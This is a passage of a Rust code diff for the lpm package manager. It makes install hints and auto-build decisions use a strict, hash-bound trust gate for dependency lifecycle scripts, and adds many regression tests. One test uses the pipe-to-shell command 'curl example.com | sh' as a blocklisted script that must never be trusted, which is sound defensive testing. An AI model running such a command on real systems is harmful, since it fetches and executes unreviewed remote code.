Pure computation of the install-hint rows. +/// +/// **Phase 46 P1 migration:** trust decision switched from +/// [`SecurityPolicy::can_run_scripts`] (lenient, name-only) to +/// [`SecurityPolicy::can_run_scripts_strict`], matching the exact +/// semantic `build::run` uses. Closes the pre-existing drift where a +/// drifted rich binding could be shown as `trusted ✓` in the install +/// hint even though `lpm build` would then skip it. OR-composition +/// with [`is_scope_trusted`] preserved from the prior implementation. +/// +/// The `integrity` in the `packages` tuple is what the lockfile / +/// resolver recorded at install time. `None` is accepted (some +/// packages lack an SRI hash or the caller couldn't resolve one); the +/// strict gate still works, just with a weaker binding. +pub(crate) fn scriptable_package_rows( store: &PackageStore, - packages: &[(String, String)], // (name, version) + packages: &[(String, String, Option)], // (name, version, integrity) policy: &SecurityPolicy, project_dir: &Path, -) { - #[allow(clippy::type_complexity)] - let mut scriptable: Vec<(&str, &str, HashMap, bool, bool)> = Vec::new(); +) -> Vec { + let mut rows = Vec::new(); - for (name, version) in packages { + for (name, version, integrity) in packages { let pkg_dir = store.package_dir(name, version); let pkg_json_path = pkg_dir.join("package.json"); @@ -622,15 +1229,49 @@ pub fn show_install_build_hint( }; let is_built = pkg_dir.join(BUILD_MARKER).exists(); - let is_trusted = policy.can_run_scripts(name) || is_scope_trusted(name, project_dir); - scriptable.push((name, version, scripts, is_built, is_trusted)); + // Strict/tiered gate — same four-way match as `build::run` at + // build.rs:133. `Strict` + `LegacyNameOnly` are trusted; + // `BindingDrift` + `NotTrusted` are not. A legacy bare-name + // entry counts as trusted here because `build::run` will + // still run the script (with a deprecation warning), so the + // hint must not mislead the user about what the subsequent + // `lpm build` will do. + let script_hash = compute_script_hash(&pkg_dir); + let trust = policy.can_run_scripts_strict( + name, + version, + integrity.as_deref(), + script_hash.as_deref(), + ); + let strict_trust = matches!(trust, TrustMatch::Strict | TrustMatch::LegacyNameOnly); + let is_trusted = strict_trust || is_scope_trusted(name, project_dir); + + rows.push(ScriptableHintRow { + name: name.clone(), + version: version.clone(), + scripts, + is_built, + is_trusted, + }); } - let unbuilt: Vec<_> = scriptable - .iter() - .filter(|(_, _, _, built, _)| !built) - .collect(); + rows +} + +/// Show the install-time build hint (called from install.rs). +/// +/// Lists packages with unexecuted scripts and their trust status. +/// Thin I/O wrapper over [`scriptable_package_rows`]; all trust +/// decisions live in the pure helper. +pub fn show_install_build_hint( + store: &PackageStore, + packages: &[(String, String, Option)], // (name, version, integrity) + policy: &SecurityPolicy, + project_dir: &Path, +) { + let rows = scriptable_package_rows(store, packages, policy, project_dir); + let unbuilt: Vec<&ScriptableHintRow> = rows.iter().filter(|r| !r.is_built).collect(); if unbuilt.is_empty() { return; @@ -642,23 +1283,23 @@ pub fn show_install_build_hint( unbuilt.len() )); - for (name, version, scripts, _, trusted) in &unbuilt { - let trust_label = if *trusted { + for row in &unbuilt { + let trust_label = if row.is_trusted { "trusted ✓".green().to_string() } else { "not trusted".yellow().to_string() }; - let script_names: Vec<&str> = scripts.keys().map(|s| s.as_str()).collect(); + let script_names: Vec<&str> = row.scripts.keys().map(|s| s.as_str()).collect(); println!( " {:<30} {:<30} ({})", - format!("{}@{}", name, version).bold(), + format!("{}@{}", row.name, row.version).bold(), script_names.join(", ").dimmed(), trust_label, ); } - let trusted_unbuilt = unbuilt.iter().filter(|(_, _, _, _, t)| *t).count(); + let trusted_unbuilt = unbuilt.iter().filter(|r| r.is_trusted).count(); println!(); if trusted_unbuilt > 0 { println!( @@ -676,16 +1317,44 @@ pub fn show_install_build_hint( /// Check if ALL packages with unexecuted lifecycle scripts are trusted. /// -/// Used by install.rs to decide whether to auto-build without explicit opt-in. +/// Used by install.rs to decide whether to auto-build without explicit +/// opt-in. +/// +/// **Phase 46 P1 migration:** same strict/tiered gate as +/// `scriptable_package_rows` and `build::run`. A drifted rich +/// binding now correctly fails this predicate (previously `true` with +/// the name-only gate, which would trigger auto-build for a package +/// `build::run` would then skip — confusing UX at best, silent trust +/// bypass at worst). +/// +/// **Phase 46 P6 Chunk 1:** takes the already-resolved +/// [`ScriptPolicy`] so the predicate and `build::run` agree on which +/// packages count as trusted. +/// +/// **Phase 46 P6 Chunk 3:** migrated onto the shared +/// [`evaluate_trust`] helper so the install-time auto-build predicate +/// and `build::run`'s per-package trust decision are single-sourced. +/// Under [`ScriptPolicy::Triage`], this means a package whose +/// lifecycle scripts worst-wins classify as [`StaticTier::Green`] +/// counts as trusted for auto-build-trigger purposes even without a +/// `trustedDependencies` entry — the §11 P6 auto-execution contract. +/// Under `Deny` / `Allow`, behavior is unchanged from Chunks 1-2: +/// only strict gate + scope glob matches count. +/// +/// An empty installed-packages list or a set of only already-built +/// scripted packages returns `false` (the caller uses this to decide +/// whether to skip the auto-build step entirely), matching the +/// pre-P6 semantics. pub fn all_scripted_packages_trusted( store: &PackageStore, - packages: &[(String, String)], + packages: &[(String, String, Option)], // (name, version, integrity) policy: &SecurityPolicy, project_dir: &Path, + effective_policy: ScriptPolicy, ) -> bool { let mut has_any_unbuilt = false; - for (name, version) in packages { + for (name, version, integrity) in packages { let pkg_dir = store.package_dir(name, version); let pkg_json_path = pkg_dir.join("package.json"); @@ -699,13 +1368,20 @@ pub fn all_scripted_packages_trusted( continue; // already built, skip } - // Unbuilt with scripts + // Unbuilt with scripts — first fresh trust-check. has_any_unbuilt = true; - let _ = scripts; // used above for the is_empty check - - let is_trusted = policy.can_run_scripts(name) || is_scope_trusted(name, project_dir); - if !is_trusted { + let reason = evaluate_trust( + &pkg_dir, + name, + version, + integrity.as_deref(), + &scripts, + policy, + project_dir, + effective_policy, + ); + if !reason.is_trusted() { return false; // at least one untrusted package } } @@ -834,25 +1510,12 @@ fn warn_stale_trusted_deps(policy: &SecurityPolicy, scriptable_packages: &[Scrip } } -/// Read `lpm.scripts.denyAll` from package.json. -fn read_deny_all_config(project_dir: &Path) -> bool { - let pkg_json_path = project_dir.join("package.json"); - let content = match std::fs::read_to_string(&pkg_json_path) { - Ok(c) => c, - Err(_) => return false, - }; - let parsed: serde_json::Value = match serde_json::from_str(&content) { - Ok(v) => v, - Err(_) => return false, - }; - - parsed - .get("lpm") - .and_then(|l| l.get("scripts")) - .and_then(|s| s.get("denyAll")) - .and_then(|v| v.as_bool()) - .unwrap_or(false) -} +// Phase 46 P1: `read_deny_all_config` was removed as part of +// consolidating script-config reads into +// `crate::script_policy_config::ScriptPolicyConfig`. Callers now +// access `.deny_all` on the loader's return value. The dedicated +// tests below were likewise removed; equivalent coverage lives in +// `script_policy_config::tests`. #[cfg(test)] mod tests { @@ -952,40 +1615,6 @@ mod tests { assert!(read_lifecycle_scripts(path).is_none()); } - // ── read_deny_all_config tests ────────────────────────────── - - #[test] - fn reads_deny_all_true() { - let dir = tempfile::tempdir().unwrap(); - std::fs::write( - dir.path().join("package.json"), - r#"{"lpm":{"scripts":{"denyAll":true}}}"#, - ) - .unwrap(); - - assert!(read_deny_all_config(dir.path())); - } - - #[test] - fn reads_deny_all_false() { - let dir = tempfile::tempdir().unwrap(); - std::fs::write( - dir.path().join("package.json"), - r#"{"lpm":{"scripts":{"denyAll":false}}}"#, - ) - .unwrap(); - - assert!(!read_deny_all_config(dir.path())); - } - - #[test] - fn deny_all_defaults_false_when_missing() { - let dir = tempfile::tempdir().unwrap(); - std::fs::write(dir.path().join("package.json"), r#"{"name":"test"}"#).unwrap(); - - assert!(!read_deny_all_config(dir.path())); - } - // ── toposort tests ────────────────────────────────────────── #[test] @@ -1000,6 +1629,7 @@ mod tests { scripts: HashMap::new(), is_built: false, is_trusted: true, + trust_reason: TrustReason::StrictBinding, }, ScriptablePackage { name: "b".into(), @@ -1008,6 +1638,7 @@ mod tests { scripts: HashMap::new(), is_built: false, is_trusted: true, + trust_reason: TrustReason::StrictBinding, }, ]; let refs: Vec<&ScriptablePackage> = packages.iter().collect(); @@ -1087,11 +1718,21 @@ mod tests { ); let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + // Legacy bare-name `trustedDependencies: ["esbuild"]` matches + // as `LegacyNameOnly`, which the strict gate treats as + // trusted — same semantic `build::run` uses. + // + // Phase 46 P6 Chunk 1: the policy arg is threaded but not yet + // consulted; `ScriptPolicy::Deny` (the default) makes the + // existing-behavior intent explicit. Chunks 2/3 add tier- + // aware promotion; new tests covering triage + green land + // there. let trusted = all_scripted_packages_trusted( &store, - &[("esbuild".to_string(), "1.0.0".to_string())], + &[("esbuild".to_string(), "1.0.0".to_string(), None)], &policy, dir.path(), + ScriptPolicy::Deny, ); assert!(trusted); @@ -1114,9 +1755,10 @@ mod tests { let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); let trusted = all_scripted_packages_trusted( &store, - &[("sharp".to_string(), "1.0.0".to_string())], + &[("sharp".to_string(), "1.0.0".to_string(), None)], &policy, dir.path(), + ScriptPolicy::Deny, ); assert!(!trusted); @@ -1151,11 +1793,12 @@ mod tests { let trusted = all_scripted_packages_trusted( &store, &[ - ("trusted-pkg".to_string(), "1.0.0".to_string()), - ("blocked-pkg".to_string(), "1.0.0".to_string()), + ("trusted-pkg".to_string(), "1.0.0".to_string(), None), + ("blocked-pkg".to_string(), "1.0.0".to_string(), None), ], &policy, dir.path(), + ScriptPolicy::Deny, ); assert!( @@ -1164,6 +1807,163 @@ mod tests { ); } + // ─── Phase 46 P1: drifted-rich-binding regressions ───────────── + // + // These two tests pin the audit-prescribed behavior: a rich entry + // whose stored `scriptHash` no longer matches what's on disk must + // NOT be treated as trusted by either the install hint (§7 of + // the Phase 46 plan) or the auto-build predicate. Pre-migration, + // both used the lenient `policy.can_run_scripts(name)` gate and + // returned true for drifted entries, while `build::run` itself + // would skip them — producing a confusing UX where install said + // "will auto-build" but build then refused. Now all three agree. + + /// Build a project whose rich `trustedDependencies` entry for + /// `name@version` has a deliberately wrong `scriptHash`, so the + /// strict gate returns `BindingDrift`. + fn write_drifted_rich_project(dir: &Path, name: &str, version: &str) { + std::fs::write( + dir.join("package.json"), + format!( + r#"{{ + "name": "proj", + "lpm": {{ + "trustedDependencies": {{ + "{name}@{version}": {{ + "scriptHash": "sha256-not-the-real-hash-this-is-drift" + }} + }} + }} + }}"# + ), + ) + .unwrap(); + } + + #[test] + fn show_install_hint_drifted_rich_binding_is_not_trusted() { + // Audit prescription (test A): drifted rich binding must NOT + // show as `trusted ✓` in the install hint. We assert on the + // pure `scriptable_package_rows` helper that + // `show_install_build_hint` wraps — `is_trusted` is the + // observable under test. + let dir = tempfile::tempdir().unwrap(); + let store = PackageStore::at(dir.path().join("store")); + + write_store_package( + &store, + "sharp", + "1.0.0", + r#"{"postinstall":"node install.js"}"#, + false, + ); + // Sanity: the on-disk hash is SOME value; the rich binding + // will name a different one. `compute_script_hash` is the + // single source of truth for what's on disk. + let on_disk = compute_script_hash(&store.package_dir("sharp", "1.0.0")) + .expect("store package has an install-phase script"); + assert!(on_disk.starts_with("sha256-")); + + write_drifted_rich_project(dir.path(), "sharp", "1.0.0"); + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + + let rows = scriptable_package_rows( + &store, + &[("sharp".to_string(), "1.0.0".to_string(), None)], + &policy, + dir.path(), + ); + assert_eq!(rows.len(), 1, "one scriptable row expected"); + assert_eq!(rows[0].name, "sharp"); + assert!( + !rows[0].is_trusted, + "drifted rich binding MUST NOT show as trusted in install hint \ + (the install UX must match `build::run`'s skip behavior)" + ); + } + + #[test] + fn all_scripted_packages_trusted_false_on_drifted_rich_binding() { + // Audit prescription (test B): drifted rich binding must NOT + // satisfy the auto-build "all trusted" predicate. Otherwise + // install would auto-trigger `build::run` for a package + // `build::run` then immediately skips. + let dir = tempfile::tempdir().unwrap(); + let store = PackageStore::at(dir.path().join("store")); + + write_store_package( + &store, + "sharp", + "1.0.0", + r#"{"postinstall":"node install.js"}"#, + false, + ); + write_drifted_rich_project(dir.path(), "sharp", "1.0.0"); + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + + let trusted = all_scripted_packages_trusted( + &store, + &[("sharp".to_string(), "1.0.0".to_string(), None)], + &policy, + dir.path(), + ScriptPolicy::Deny, + ); + assert!( + !trusted, + "drifted rich binding MUST NOT satisfy the auto-build \ + all-trusted predicate (previously true via name-only \ + gate; now false via strict gate, matching build::run)" + ); + } + + #[test] + fn scriptable_rows_strict_match_is_trusted() { + // Positive control: a rich binding whose `scriptHash` matches + // the on-disk hash IS trusted. Proves the drift test above + // is distinguishing "drifted rich binding" from "no rich + // binding at all." + let dir = tempfile::tempdir().unwrap(); + let store = PackageStore::at(dir.path().join("store")); + write_store_package( + &store, + "sharp", + "1.0.0", + r#"{"postinstall":"node install.js"}"#, + false, + ); + let on_disk_hash = compute_script_hash(&store.package_dir("sharp", "1.0.0")).unwrap(); + + std::fs::write( + dir.path().join("package.json"), + format!( + r#"{{ + "name": "proj", + "lpm": {{ + "trustedDependencies": {{ + "sharp@1.0.0": {{ + "scriptHash": "{on_disk_hash}" + }} + }} + }} + }}"# + ), + ) + .unwrap(); + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + + let rows = scriptable_package_rows( + &store, + &[("sharp".to_string(), "1.0.0".to_string(), None)], + &policy, + dir.path(), + ); + assert_eq!(rows.len(), 1); + assert!( + rows[0].is_trusted, + "strict-match rich binding MUST show as trusted (positive control)" + ); + } + // ── warn_stale_trusted_deps tests ─────────────────────────── #[test] @@ -1187,6 +1987,7 @@ mod tests { scripts: HashMap::from([("postinstall".into(), "node setup".into())]), is_built: false, is_trusted: true, + trust_reason: TrustReason::StrictBinding, }, ScriptablePackage { name: "esbuild".into(), @@ -1195,6 +1996,7 @@ mod tests { scripts: HashMap::from([("postinstall".into(), "node install.js".into())]), is_built: false, is_trusted: true, + trust_reason: TrustReason::StrictBinding, }, ]; @@ -1242,6 +2044,7 @@ mod tests { TrustedDependencyBinding { integrity: integrity.map(String::from), script_hash: script_hash.map(String::from), + ..Default::default() }, ); SecurityPolicy { @@ -1360,4 +2163,808 @@ mod tests { // trusted overall. assert!(is_scope_trusted("@myorg/some-pkg", dir.path())); } + + // ── Phase 46 P6 Chunk 1: triage-mode messaging swap ───────────── + // + // These tests pin two distinct invariants. The source-level + // guards catch marker-string deletion (cheap, zero-ceremony, + // survive harness churn). The behavioral guards catch the dead- + // code class a source-level guard cannot see — specifically, a + // regression where the warning block becomes unreachable because + // its counter is computed against an already-trust-filtered set + // (the pre-P6 bug that silently buried both the old and new + // pointers). A full `build::run` integration test lands in + // Chunk 5's reference-fixture harness; the pure-function unit + // tests here close the Chunk 1 reviewability gap without the + // lockfile scaffolding. + + #[test] + fn p6_chunk1_triage_pointer_routes_to_approve_builds() { + let src = include_str!(concat!( + env!("CARGO_MANIFEST_DIR"), + "/src/commands/build.rs" + )); + const TRIAGE_HEAD: &str = "if effective_policy == ScriptPolicy::Triage {"; + const APPROVE_POINTER: &str = "lpm approve-builds"; + const LEGACY_POINTER: &str = "package.json > lpm > trustedDependencies"; + + let triage_pos = src.find(TRIAGE_HEAD).unwrap_or_else(|| { + panic!( + "triage-branch marker `{TRIAGE_HEAD}` disappeared from build::run — \ + P6 Chunk 1 required this branch so triage users are pointed at \ + `lpm approve-builds` instead of editing trustedDependencies by hand. \ + If the control flow was legitimately refactored, update this test \ + with the new marker; if the triage branch was removed, that's a \ + P6 contract regression and needs explicit signoff." + ) + }); + let approve_pos = src[triage_pos..].find(APPROVE_POINTER).unwrap_or_else(|| { + panic!( + "`{APPROVE_POINTER}` pointer not found inside the triage branch — \ + P6 Chunk 1 wires this specific next-step message for triage \ + blocked-packages UX." + ) + }); + // The legacy pointer must still exist (the `else` branch for + // deny/allow); just not inside the triage branch we just found. + let legacy_pos = src.find(LEGACY_POINTER).unwrap_or_else(|| { + panic!( + "legacy `{LEGACY_POINTER}` pointer was removed — deny-mode messaging \ + must stay unchanged per P6 signoff (the pre-P6 pointer is still the \ + honest next step under deny)." + ) + }); + assert!( + approve_pos < src.len() - triage_pos, + "`{APPROVE_POINTER}` must appear AFTER the triage branch header, not before", + ); + assert_ne!( + legacy_pos, triage_pos, + "legacy pointer must live in the else branch, not inside the triage arm", + ); + } + + #[test] + fn p6_chunk1_auto_build_call_site_threads_effective_policy() { + // Pin the install → auto-build handoff: the `build::run` call + // in install.rs must carry the resolved effective policy into + // `build::run`'s last arg. Without this invariant the Chunk 2 + // tier-promotion logic would never see triage at the auto- + // build site (install.rs today resolves effective_policy for + // the blocked-hint block only). + let src = include_str!(concat!( + env!("CARGO_MANIFEST_DIR"), + "/src/commands/install.rs" + )); + const MARKER: &str = "step10_effective_policy"; + let count = src.matches(MARKER).count(); + assert!( + count >= 3, + "expected at least 3 references to `{MARKER}` in install.rs (the \ + `let` binding + `all_scripted_packages_trusted` arg + `build::run` \ + arg). Found {count}. If the auto-build handoff was refactored, \ + update this assertion — but make sure both callees still receive \ + the same resolved value." + ); + } + + /// Construct a `ScriptablePackage` with synthetic values. The + /// counter cares only about `is_built` and `is_trusted`; other + /// fields are irrelevant but must be populated to satisfy the + /// struct shape. `trust_reason` is derived from `is_trusted` so + /// the field always stays internally consistent with the boolean + /// — Chunk 2 added it, and a test synthesizing a trusted package + /// with `TrustReason::Untrusted` would misrepresent the P6 data + /// model even though the counter wouldn't notice. + fn synthetic_scriptable(name: &str, is_built: bool, is_trusted: bool) -> ScriptablePackage { + ScriptablePackage { + name: name.into(), + version: "1.0.0".into(), + store_path: std::path::PathBuf::from("/unused"), + scripts: HashMap::from([("postinstall".into(), "node x.js".into())]), + is_built, + is_trusted, + trust_reason: if is_trusted { + TrustReason::StrictBinding + } else { + TrustReason::Untrusted + }, + } + } + + #[test] + fn p6_chunk1_count_untrusted_unbuilt_sees_untrusted_under_default_build() { + // Behavioral regression guard. The pre-P6 inline counter was + // `to_build.iter().filter(|p| !p.is_trusted).count()` AFTER + // `to_build` was filtered to trusted-only in the default + // branch — structurally always zero, so the "N package(s) + // are not in trustedDependencies" warning never reached + // users. This test locks the corrected contract: the + // extracted helper reads from the pre-trust-filter set and + // reports a nonzero count when untrusted scripted packages + // exist. + let pkgs = vec![ + synthetic_scriptable("trusted-a", false, true), + synthetic_scriptable("untrusted-b", false, false), + synthetic_scriptable("untrusted-c", false, false), + synthetic_scriptable("already-built-untrusted", true, false), + ]; + // Default path (no --rebuild): already-built entries drop out. + // Two unbuilt-untrusted remain. + assert_eq!(count_untrusted_unbuilt(&pkgs, false), 2); + } + + #[test] + fn p6_chunk1_count_untrusted_unbuilt_respects_rebuild_flag() { + // `--rebuild` forces already-built packages back into the + // candidate set. The counter must include them so the warning + // reaches users in that flow too. + let pkgs = vec![ + synthetic_scriptable("built-untrusted", true, false), + synthetic_scriptable("built-trusted", true, true), + ]; + assert_eq!(count_untrusted_unbuilt(&pkgs, false), 0); + assert_eq!(count_untrusted_unbuilt(&pkgs, true), 1); + } + + #[test] + fn p6_chunk1_count_untrusted_unbuilt_zero_when_all_trusted() { + // Negative control: when every unbuilt scripted package is + // trusted, the count is zero and the warning must stay silent. + let pkgs = vec![ + synthetic_scriptable("a", false, true), + synthetic_scriptable("b", false, true), + ]; + assert_eq!(count_untrusted_unbuilt(&pkgs, false), 0); + } + + // ── Phase 46 P6 Chunk 2: shared trust helper behavior ─────────── + // + // These tests pin `evaluate_trust` under each effective policy × + // static-tier combination that materially changes behavior. The + // helper is the only place where "green-tier auto-trust" is + // decided — both `build::run` and the Chunk 3 install-time + // `all_scripted_packages_trusted` migration route through here, + // so single-point coverage is sufficient for the policy decision. + // The composition of the decision with the surrounding control + // flow (which packages get skipped, what message prints, what + // gets sandboxed) is covered by `build::run`'s integration tests + // in Chunk 5. + // + // Every test writes a synthetic package into a temp store with + // real lifecycle scripts so `compute_script_hash` and the static- + // gate classifier produce live values — not stubs — matching how + // `build::run` will invoke the helper in production. + + /// Write a synthetic package into a `PackageStore` with the + /// given postinstall body, and return its path. The postinstall + /// body is what the static-gate classifier consumes, so tests + /// exercising green/amber/red tiers pick their body accordingly. + fn write_p6_pkg( + store: &PackageStore, + name: &str, + version: &str, + postinstall: &str, + ) -> std::path::PathBuf { + let pkg_dir = store.package_dir(name, version); + std::fs::create_dir_all(&pkg_dir).unwrap(); + std::fs::write( + pkg_dir.join("package.json"), + format!( + r#"{{"name":"{name}","version":"{version}","scripts":{{"postinstall":"{postinstall}"}}}}"#, + ), + ) + .unwrap(); + pkg_dir + } + + #[test] + fn p6_chunk2_triage_promotes_green_tier_without_manifest_binding() { + // The core P6 behavior: a package with a green-tier postinstall + // (node-gyp rebuild — exact match in the Layer 1 allowlist), + // no `trustedDependencies` entry, no scope match, lands on + // `GreenTierUnderTriage` under Triage. This is the auto-trust + // path — every other path either required manifest work or + // didn't exist. + let dir = tempfile::tempdir().unwrap(); + std::fs::write(dir.path().join("package.json"), r#"{"name":"proj"}"#).unwrap(); + let store = PackageStore::at(dir.path().join("store")); + let pkg_dir = write_p6_pkg(&store, "some-native-pkg", "1.0.0", "node-gyp rebuild"); + let scripts = read_lifecycle_scripts(&pkg_dir.join("package.json")).unwrap(); + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + + let reason = evaluate_trust( + &pkg_dir, + "some-native-pkg", + "1.0.0", + None, + &scripts, + &policy, + dir.path(), + ScriptPolicy::Triage, + ); + assert_eq!(reason, TrustReason::GreenTierUnderTriage); + assert!(reason.is_trusted()); + } + + #[test] + fn p6_chunk2_deny_does_not_promote_green_tier() { + // Deny must stay deny: no promotion, regardless of tier. + // Matches the signoff answer to ambiguity #3. + let dir = tempfile::tempdir().unwrap(); + std::fs::write(dir.path().join("package.json"), r#"{"name":"proj"}"#).unwrap(); + let store = PackageStore::at(dir.path().join("store")); + let pkg_dir = write_p6_pkg(&store, "some-native-pkg", "1.0.0", "node-gyp rebuild"); + let scripts = read_lifecycle_scripts(&pkg_dir.join("package.json")).unwrap(); + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + + let reason = evaluate_trust( + &pkg_dir, + "some-native-pkg", + "1.0.0", + None, + &scripts, + &policy, + dir.path(), + ScriptPolicy::Deny, + ); + assert_eq!(reason, TrustReason::Untrusted); + assert!(!reason.is_trusted()); + } + + #[test] + fn p6_chunk2_allow_does_not_promote_green_tier_at_helper_level() { + // `allow` semantics (build everything regardless of trust) + // are the caller's concern — `build::run` / Chunk 4 fold the + // allow policy into its filter at the selection step, NOT by + // changing trust assignment per package. The helper's job is + // to return the decision based on manifest bindings, scope, + // and (under triage) tier. Under allow, with no binding + + // no scope + green tier, the helper still returns Untrusted; + // whether scripts run is a separate layer. This keeps the + // helper's contract single-purpose and prevents "allow" + // semantics from leaking into the predicate + // `all_scripted_packages_trusted` relies on (Chunk 3). + let dir = tempfile::tempdir().unwrap(); + std::fs::write(dir.path().join("package.json"), r#"{"name":"proj"}"#).unwrap(); + let store = PackageStore::at(dir.path().join("store")); + let pkg_dir = write_p6_pkg(&store, "some-native-pkg", "1.0.0", "node-gyp rebuild"); + let scripts = read_lifecycle_scripts(&pkg_dir.join("package.json")).unwrap(); + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + + let reason = evaluate_trust( + &pkg_dir, + "some-native-pkg", + "1.0.0", + None, + &scripts, + &policy, + dir.path(), + ScriptPolicy::Allow, + ); + assert_eq!(reason, TrustReason::Untrusted); + } + + /// Phase 46 close-out Chunk 2 — complementary caller-side + /// contract to [`p6_chunk2_allow_does_not_promote_green_tier_at_helper_level`]. + /// + /// The helper test above pins that `evaluate_trust` deliberately + /// ignores allow (its job is manifest-binding + scope + tier, + /// not policy-wide widening). This test pins the other half of + /// the split: the selection step at [`widen_to_build_by_policy`] + /// must fold allow into its widening rule. Together they + /// guarantee `is_trusted` computation stays single-purpose AND + /// the §5.1 allow contract is honored at the CLI boundary. + #[test] + fn p46_close_chunk2_widen_to_build_by_policy_includes_untrusted_under_allow() { + let pkgs = vec![ + synthetic_scriptable("trusted-a", false, true), + synthetic_scriptable("untrusted-b", false, false), + synthetic_scriptable("untrusted-c", false, false), + ]; + + let selected = widen_to_build_by_policy(&pkgs, false, ScriptPolicy::Allow); + assert_eq!( + selected.len(), + 3, + "allow must widen the default-branch selection to every \ + scriptable package — §5.1 spec", + ); + // Prove inclusion by name (not just count) so a future + // refactor that accidentally filters then pads can't pass. + let names: Vec<&str> = selected.iter().map(|p| p.name.as_str()).collect(); + assert!(names.contains(&"trusted-a")); + assert!(names.contains(&"untrusted-b")); + assert!(names.contains(&"untrusted-c")); + } + + /// Control under Deny — Chunk 2's allow fix must not widen the + /// deny mode's selection. Deny keeps the pre-Phase-46 filter- + /// to-trusted-only contract, which is what `build::run` relied + /// on before Chunk 2 extracted the helper. + #[test] + fn p46_close_chunk2_widen_to_build_by_policy_filters_to_trusted_under_deny() { + let pkgs = vec![ + synthetic_scriptable("trusted-a", false, true), + synthetic_scriptable("untrusted-b", false, false), + ]; + + let selected = widen_to_build_by_policy(&pkgs, false, ScriptPolicy::Deny); + assert_eq!(selected.len(), 1); + assert_eq!(selected[0].name, "trusted-a"); + } + + /// Control under Triage — the tier-promotion-to-trusted logic + /// lives inside [`evaluate_trust`] and is already reflected in + /// `is_trusted` by the time packages reach this helper. + /// [`widen_to_build_by_policy`] therefore treats triage + /// identically to deny at the selection step; the difference + /// between them is earlier, at the trust computation. + /// + /// This pins that Chunk 2's fix is allow-scoped and does NOT + /// widen triage beyond what `evaluate_trust` already promoted. + /// Triage widening beyond greens would break D20 (no new + /// execution authority without sandbox-verified triage). + #[test] + fn p46_close_chunk2_widen_to_build_by_policy_filters_to_trusted_under_triage() { + let pkgs = vec![ + synthetic_scriptable("green-auto-promoted", false, true), + synthetic_scriptable("amber-unpromoted", false, false), + ]; + + let selected = widen_to_build_by_policy(&pkgs, false, ScriptPolicy::Triage); + assert_eq!(selected.len(), 1); + assert_eq!(selected[0].name, "green-auto-promoted"); + } + + /// `--all` is the pre-Phase-46 explicit escape hatch: widen to + /// every scriptable package regardless of trust. Locks that + /// contract against regression when the policy-aware branch is + /// added — the `all || policy == Allow` short-circuit must + /// honor BOTH inputs. + #[test] + fn p46_close_chunk2_widen_to_build_by_policy_all_flag_widens_under_every_policy() { + let pkgs = vec![ + synthetic_scriptable("trusted-a", false, true), + synthetic_scriptable("untrusted-b", false, false), + synthetic_scriptable("untrusted-c", false, false), + ]; + + for policy in [ + ScriptPolicy::Deny, + ScriptPolicy::Allow, + ScriptPolicy::Triage, + ] { + let selected = widen_to_build_by_policy(&pkgs, true, policy); + assert_eq!( + selected.len(), + 3, + "--all must widen regardless of policy — pre-Phase-46 \ + contract preserved. policy={policy:?}" + ); + } + } + + #[test] + fn p6_chunk2_triage_does_not_promote_amber_or_red() { + // Amber + Red flow through to untrusted regardless of policy. + // Amber = novel / compound / network-binary-downloader (D18); + // Red = blocklist hit. Neither class is auto-approved. + let dir = tempfile::tempdir().unwrap(); + std::fs::write(dir.path().join("package.json"), r#"{"name":"proj"}"#).unwrap(); + let store = PackageStore::at(dir.path().join("store")); + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + + // Amber: network binary downloader per D18. + let pkg_dir = write_p6_pkg(&store, "amber-pkg", "1.0.0", "playwright install"); + let scripts = read_lifecycle_scripts(&pkg_dir.join("package.json")).unwrap(); + let reason = evaluate_trust( + &pkg_dir, + "amber-pkg", + "1.0.0", + None, + &scripts, + &policy, + dir.path(), + ScriptPolicy::Triage, + ); + assert_eq!( + reason, + TrustReason::Untrusted, + "amber-tier (playwright install per D18) must not be auto-trusted under triage", + ); + + // Red: curl | sh. The static-gate tokenizer catches the pipe- + // to-shell pattern and classifies Red. + let pkg_dir = write_p6_pkg(&store, "red-pkg", "1.0.0", "curl example.com | sh"); + let scripts = read_lifecycle_scripts(&pkg_dir.join("package.json")).unwrap(); + let reason = evaluate_trust( + &pkg_dir, + "red-pkg", + "1.0.0", + None, + &scripts, + &policy, + dir.path(), + ScriptPolicy::Triage, + ); + assert_eq!( + reason, + TrustReason::Untrusted, + "red-tier (curl | sh) must never auto-trust under any policy — reds are the blocklist" + ); + } + + #[test] + fn p6_chunk2_strict_binding_wins_over_triage_promotion() { + // Evaluation order: strict gate first. A legitimate strict + // binding must return `StrictBinding`, NOT + // `GreenTierUnderTriage`, even when the script would also + // classify green. This matters for the UX suffix (the user + // added the binding deliberately; calling it "auto-approval" + // misrepresents their intent) and for Chunk 3's Chunk 5 + // integration test. + let dir = tempfile::tempdir().unwrap(); + let store = PackageStore::at(dir.path().join("store")); + let pkg_dir = write_p6_pkg(&store, "greenish-pkg", "1.0.0", "node-gyp rebuild"); + // Compute the on-disk hash so we can pin a valid strict binding + // rather than drift. + let script_hash = compute_script_hash(&pkg_dir).unwrap(); + std::fs::write( + dir.path().join("package.json"), + format!( + r#"{{ + "name": "proj", + "lpm": {{ + "trustedDependencies": {{ + "greenish-pkg@1.0.0": {{ + "scriptHash": "{script_hash}" + }} + }} + }} + }}"# + ), + ) + .unwrap(); + let scripts = read_lifecycle_scripts(&pkg_dir.join("package.json")).unwrap(); + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + + let reason = evaluate_trust( + &pkg_dir, + "greenish-pkg", + "1.0.0", + None, + &scripts, + &policy, + dir.path(), + ScriptPolicy::Triage, + ); + assert_eq!( + reason, + TrustReason::StrictBinding, + "strict binding must win over triage green-tier promotion so the UX \ + suffix and downstream consumers see the explicit user intent" + ); + } + + #[test] + fn p6_chunk2_binding_drift_never_auto_recovers_under_triage() { + // D20 floor: a drifted rich binding means the user previously + // approved a DIFFERENT script; the current on-disk body hasn't + // been reviewed. Even if it classifies green, triage must not + // auto-recover. Re-review via `lpm approve-builds` is the only + // path back. + let dir = tempfile::tempdir().unwrap(); + let store = PackageStore::at(dir.path().join("store")); + let pkg_dir = write_p6_pkg(&store, 